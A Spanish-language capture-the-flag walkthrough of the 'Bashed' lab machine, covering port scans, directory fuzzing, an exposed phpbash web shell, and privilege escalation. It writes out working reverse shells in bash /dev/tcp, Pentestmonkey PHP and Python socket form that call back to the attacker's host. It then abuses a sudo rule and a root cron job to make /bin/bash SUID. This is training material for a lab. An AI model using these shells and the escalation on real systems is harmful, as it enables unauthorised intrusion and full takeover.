Recopilación de Información

Traza ICMP

Vamos a realizar un ping para saber si la máquina está conectada y en base al TTL veremos que SO utiliza la máquina.

ping -c 4 10.10.10.68
PING 10.10.10.68 (10.10.10.68) 56(84) bytes of data.
64 bytes from 10.10.10.68: icmp_seq=1 ttl=63 time=129 ms
64 bytes from 10.10.10.68: icmp_seq=2 ttl=63 time=129 ms
64 bytes from 10.10.10.68: icmp_seq=3 ttl=63 time=129 ms
64 bytes from 10.10.10.68: icmp_seq=4 ttl=63 time=130 ms

--- 10.10.10.68 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3009ms
rtt min/avg/max/mdev = 128.647/129.243/130.365/0.663 ms

Gracias al TTL, sabemos que la máquina usa Linux. Hagamos los escaneos de puertos y servicios.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.68 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 15:28 CST
Initiating SYN Stealth Scan at 15:28
Scanning 10.10.10.68 [65535 ports]
Discovered open port 80/tcp on 10.10.10.68
Completed SYN Stealth Scan at 15:29, 25.99s elapsed (65535 total ports)
Nmap scan report for 10.10.10.68
Host is up, received user-set (0.78s latency).
Scanned at 2023-04-17 15:28:59 CST for 26s
Not shown: 50222 filtered tcp ports (no-response), 15312 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.09 seconds
           Raw packets sent: 124306 (5.469MB) | Rcvd: 15355 (614.220KB)
ParámetrosDescripción
-p-Para indicarle un escaneo en ciertos puertos.
–openPara indicar que aplique el escaneo en los puertos abiertos.
-sSPara indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-ratePara indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvvPara indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-nPara indicar que no se aplique resolución dns para agilizar el escaneo.
-PnPara indicar que se omita el descubrimiento de hosts.
-oGPara indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Solo hay un puerto abierto que ya conocemos, hagamos el escaneo de servicios para ver que nos dice.

Escaneo de Servicios

nmap -sC -sV -p80 10.10.10.68 -oN targeted                              
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 15:52 CST
Nmap scan report for 10.10.10.68
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds
ParámetrosDescripción
-sCPara indicar un lanzamiento de scripts básicos de reconocimiento.
-sVPara identificar los servicios/versión que están activos en los puertos que se analicen.
-pPara indicar puertos específicos.
-oNPara indicar que el output se guarde en un fichero. Lo llame targeted.

Solo nos menciona que usa el servicio Apache. Vamos a analizar la página.

Análisis de Vulnerabilidades

Analizando Servicio HTTP

Vamos a entrar:

Bien, es una página algo simple. Veamos que nos dice Wappalizer:

Mmmmm no nos dice mucho, sigamos viendo la página. Hay una publicación de alguien llamado Development, ¿será un usuario? Quizá nos sirva más adelante.

Si investigamos el GitHub que nos menciona la publicación, podemos ver que es una herramienta que usa Bash, usada en PHP. En resumen, podemos usar una terminal bash dentro de la página web, usando cualquiera de los dos archivos que vienen en el GitHub. Ósea, phpbash.php o phpbash.min.php.

Por lo que entiendo, la máquina está usando dicha herramienta, así que debería estar cargada, pero como no sabemos donde está, vamos a hacer un Fuzzing.

Fuzzing

wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.68/FUZZ/         
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.68/FUZZ/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                              
=====================================================================

000000338:   200        16 L     59 W       939 Ch      "php"                                                                
000000016:   200        19 L     88 W       1564 Ch     "images"                                                             
000000014:   200        161 L    397 W      7743 Ch     "http://10.10.10.68//"                                               
000000550:   200        20 L     96 W       1758 Ch     "css"                                                                
000000834:   200        17 L     69 W       1148 Ch     "dev"                                                                
000000953:   200        26 L     165 W      3165 Ch     "js"                                                                 
000000083:   403        11 L     32 W       292 Ch      "icons"                                                              
000002771:   200        21 L     111 W      2095 Ch     "fonts"                                                              
000000164:   200        1 L      1 W        14 Ch       "uploads"                                                            
000045240:   200        161 L    397 W      7743 Ch     "http://10.10.10.68//"                                               
000095524:   403        11 L     32 W       300 Ch      "server-status"                                                      

Total time: 532.2590
Processed Requests: 220560
Filtered Requests: 220536
Requests/sec.: 414.3847
ParámetrosDescripción
-cPara ver el resultado en un formato colorido.
–hcPara no mostrar un código de estado en los resultados.
-tPara indicar la cantidad de hilos a usar.
-wPara indicar el diccionario a usar en el fuzzing.

Ahora, probemos con gobuster:

gobuster dir -u http://10.10.10.68/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
/server-status        (Status: 403) [Size: 299]
Progress: 220483 / 220561 (99.96%)
===============================================================
ParámetrosDescripción
-uPara indicar la URL a utilizar.
-wPara indicar el diccionario a usar en el fuzzing.
-tPara indicar la cantidad de hilos a usar.

Pues arrojo casi los mismos resultados, solo por curiosidad, veamos que nos dice nmap cuando apliquemos fuzzing.

Fuzzing con NMAP

nmap --script http-enum -p80 -oN webScan 10.10.10.68
Nmap 7.93 scan initiated Mon Apr 17 18:50:30 2023 as: nmap --script http-enum -p80 -oN webScan 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up (0.13s latency).

PORT   STATE SERVICE
80/tcp open  http

| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /php/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_  /uploads/: Potentially interesting folder

Nmap done at Mon Apr 17 18:50:47 2023 -- 1 IP address (1 host up) scanned in 16.66 seconds

Muy bien, hay varios directorios, pero en este caso me interesan 3, la de php, uploads y dev.

Si tratamos de entrar a php y uploads, no encontraremos nada de interés, así que vámonos a la dev.

A cualquiera de esos archivos que le demos click, nos va a mandar a una bash interactiva desde la web, pero como es muy lenta vamos a conectarnos de manera remota.

Explotación de Vulnerabilidades

Ganando Acceso a la Máquina Víctima con Distintas Reverse Shell

Podemos hacer 2 cosas para tratar de conectarnos de manera remota, una sería usando un script en bash y la otra cargando una Reverse Shell en la carpeta uploads de la página.

Utilizando Bash para Conectarnos de Manera Remota

Bueno, hagamoslo por pasos:

  • Alzamos una netcat:
nc -nvlp 443                              
listening on [any] 443 ...
  • Vamos a usar el siguiente one-liner que es una Reverse Shell:
bash -c "bash -i >& /dev/tcp/Tu_IP/443 0>&1"

PERO, vamos a url encodearlo cambiando los ampersands (&) por %26. Una vez que lo hagas, ejecutalo y ya debería estar:

  • Y ya deberíamos estar conectados:
nc -nvlp 443                                                    
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.68] 45400
bash: cannot set terminal process group (815): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bashed:/var/www/html/dev$ 
www-data@bashed:/var/www/html/dev$ whoami
whoami
www-data

De una vez, vamos a obtener una sesión interactiva, sigue estos pasos:

  • Escribe el siguiente comando:
script /dev/null -c bash
  • Presiona las teclas ctrl + z, debería aparecer el siguiente mensaje y luego la terminal de tu máquina:
zsh: suspended  nc -nvlp 443
  • Ahora escribe el siguiente comando en tu máquina:
 stty raw -echo; fg       
[1]  + continued  nc -nvlp 443
  • Escribe reset y te preguntará que tipo de terminal quieres, pon xterm:
[1]  + continued  nc -nvlp 443
                              reset
reset: unknown terminal type unknown
Terminal type? xterm
  • Exportemos xterm, bash y cambiemos el tamaño de la terminal (este último es opcional, pero lo recomiendo):
www-data@bashed:/var/www/html/dev$ export TERM=xterm
www-data@bashed:/var/www/html/dev$ export SHELL=bash
www-data@bashed:/var/www/html/dev$ stty rows 51 columns 189

Y listo, ya tenemos nuestra terminal interactiva.

Cargando una Reverse Shell

Recordemos 2 cosas, una que la página trabaja con PHP y que tiene una carpeta llamada uploads.

Bien, ya conocemos una Reverse Shell de PHP, busquemos a Pentestmonkey:

Ahora, hagamos todo por pasos:

  • Clonamos la Reverse Shell de PHP:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
  • Modificamos la Reverse Shell con nuestra IP y un puerto:
set_time_limit (0);
$VERSION = "1.0";
$ip = 'Pon Aqui Tu IP';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
  • Levantamos un servidor en Python en donde tenemos la Reverse Shell:
python3 -m http.server   
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
  • Ahora en la página web, descargamos la Reverse Shell:
wget Tu_IP:8000/php-reverse-shell.php

  • Bien, alzamos una netcat:
nc -nvlp 443                                                    
listening on [any] 443 ...
  • Cargamos la página:

Y ya deberíamos estar conectados.

Usando Reverse Shell de Python

Con Python, podemos ganar acceso de manera remota si utilizamos un one-liner que usa sockets para estableces una conexión, entre nuestra máquina y la máquina víctima, PERO no es una sesión interactiva, es decir, que no podremos usar nano.

Nunca esta demás usar siempre otras alternativas.

Vamos a hacerlo por pasos:

  • Alzamos una netcat:
nc -nvlp 443                              
listening on [any] 443 ...
  • Utiliza el siguiente one-liner de Python que es una Reverse Shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Tu_IP",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
  • Observa el resultado en la netcat:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.68] 60532
www-data@bashed:/var/www/html/dev$ whoami
whoami
www-data
www-data@bashed:/var/www/html/dev$

Y con esto terminamos.

Post Explotación

Enumeración Servicio SSH

Bueno, como siempre buscamos el directorio /home para encontrar la flag del usuario.

www-data@bashed:/var/www/html/dev$ cd /home
www-data@bashed:/home$ ls -la
total 16
drwxr-xr-x  4 root          root          4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
drwxr-xr-x  4 arrexel       arrexel       4096 Jun  2  2022 arrexel
drwxr-xr-x  3 scriptmanager scriptmanager 4096 Dec  4  2017 scriptmanager
www-data@bashed:/home$ cd arrexel/
www-data@bashed:/home/arrexel$ ls -la
total 32
drwxr-xr-x 4 arrexel arrexel 4096 Jun  2  2022 .
drwxr-xr-x 4 root    root    4096 Dec  4  2017 ..
lrwxrwxrwx 1 root    root       9 Jun  2  2022 .bash_history -> /dev/null
-rw-r--r-- 1 arrexel arrexel  220 Dec  4  2017 .bash_logout
-rw-r--r-- 1 arrexel arrexel 3786 Dec  4  2017 .bashrc
drwx------ 2 arrexel arrexel 4096 Dec  4  2017 .cache
drwxrwxr-x 2 arrexel arrexel 4096 Dec  4  2017 .nano
-rw-r--r-- 1 arrexel arrexel  655 Dec  4  2017 .profile
-rw-r--r-- 1 arrexel arrexel    0 Dec  4  2017 .sudo_as_admin_successful
-r--r--r-- 1 arrexel arrexel   33 Apr 17 14:24 user.txt
www-data@bashed:/home/arrexel$ cat user.txt

Listo, ahora veamos nuestros privilegios:

www-data@bashed:/home/arrexel$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Veo que el usuario scriptmanager no necesita ninguna contraseña.

Vamos a entrar como scriptmanager:

www-data@bashed:/home/arrexel$ sudo -u scriptmanager bash
scriptmanager@bashed:/home/arrexel$ 
scriptmanager@bashed:/home/arrexel$ whoami
scriptmanager

Pero aún no podemos hacer nada, pues si intentas usar comandos como SUDO, no vamos a poder hacer nada. ¿Qué podemos hacer entonces? Vamos a buscar que archivos podemos modificar:

scriptmanager@bashed:/$ find / -type f -user scriptmanager 2>/dev/null
/scripts/test.py
/home/scriptmanager/.profile
/home/scriptmanager/.bashrc
/home/scriptmanager/.bash_history
/home/scriptmanager/.bash_logout
/proc/2374/task/2374/fdinfo/0
/proc/2374/task/2374/fdinfo/1
/proc/2374/task/2374/fdinfo/2
/proc/2374/task/2374/fdinfo/255
/proc/2374/task/2374/environ
...

Veo algo curioso ahí, un archivo en Python dentro del directorio scripts, vamos a investigarlo:

scriptmanager@bashed:/$ cd /scripts
scriptmanager@bashed:/scripts$ ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Apr 17 17:17 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Apr 17 17:37 test.txt

Mmmmmm hagamos un cat al contenido:

scriptmanager@bashed:/scripts$ cat test.py 
f = open("test.txt", "w")
f.write("testing 123!")
f.close
scriptmanager@bashed:/scripts$ cat test.txt 
testing 123!

Quiero pensar, que el script de Python se ejecuta automáticamente como una tarea cron, entonces debemos aprovecharnos de eso.

Acceso como Root Usando Tarea Cron

Ahora, sabemos que podemos usar nano dentro la máquina víctima, vamos a modificar el script de Python para que modifique los permisos de la Bash, para que cualquier usuario pueda entrar como Root.

  • Revisa los permisos de la Bash:
scriptmanager@bashed:/scripts$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
  • Opción 1 - borra el contenido del script y pon lo siguiente:
import os
chmod u+s /bin/bash
  • Opción 2 - crea un script aparte con el mismo código que creamos en la opción 1:
echo "import os; os.system('chmod u+s /bin/bash');" > exploit.py
  • Excelente, una vez que guardes y cierres o que hayas usado la opción 2, revisa los permisos de la Bash:
scriptmanager@bashed:/scripts$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash

Listo, entra a la Bash como Root:

scriptmanager@bashed:/scripts$ bash -p
bash-4.3# whoami
root
bash-4.3# cd /root
bash-4.3# ls -la
total 28
drwx------  3 root root 4096 Jun  2  2022 .
drwxr-xr-x 23 root root 4096 Jun  2  2022 ..
lrwxrwxrwx  1 root root    9 Jun  2  2022 .bash_history -> /dev/null
-rw-r--r--  1 root root 3121 Dec  4  2017 .bashrc
drwxr-xr-x  2 root root 4096 Jun  2  2022 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Dec  4  2017 .selected_editor
-r--------  1 root root   33 Apr 17 14:24 root.txt
bash-4.3# cat root.txt

Excelente, ya solamente revisemos si fue una tarea cron la que nos ayudo a ganar acceso:

bash-4.3# crontab -l
* * * * * cd /scripts; for f in *.py; do python "$f"; done

Y si, con esto terminamos esta máquina.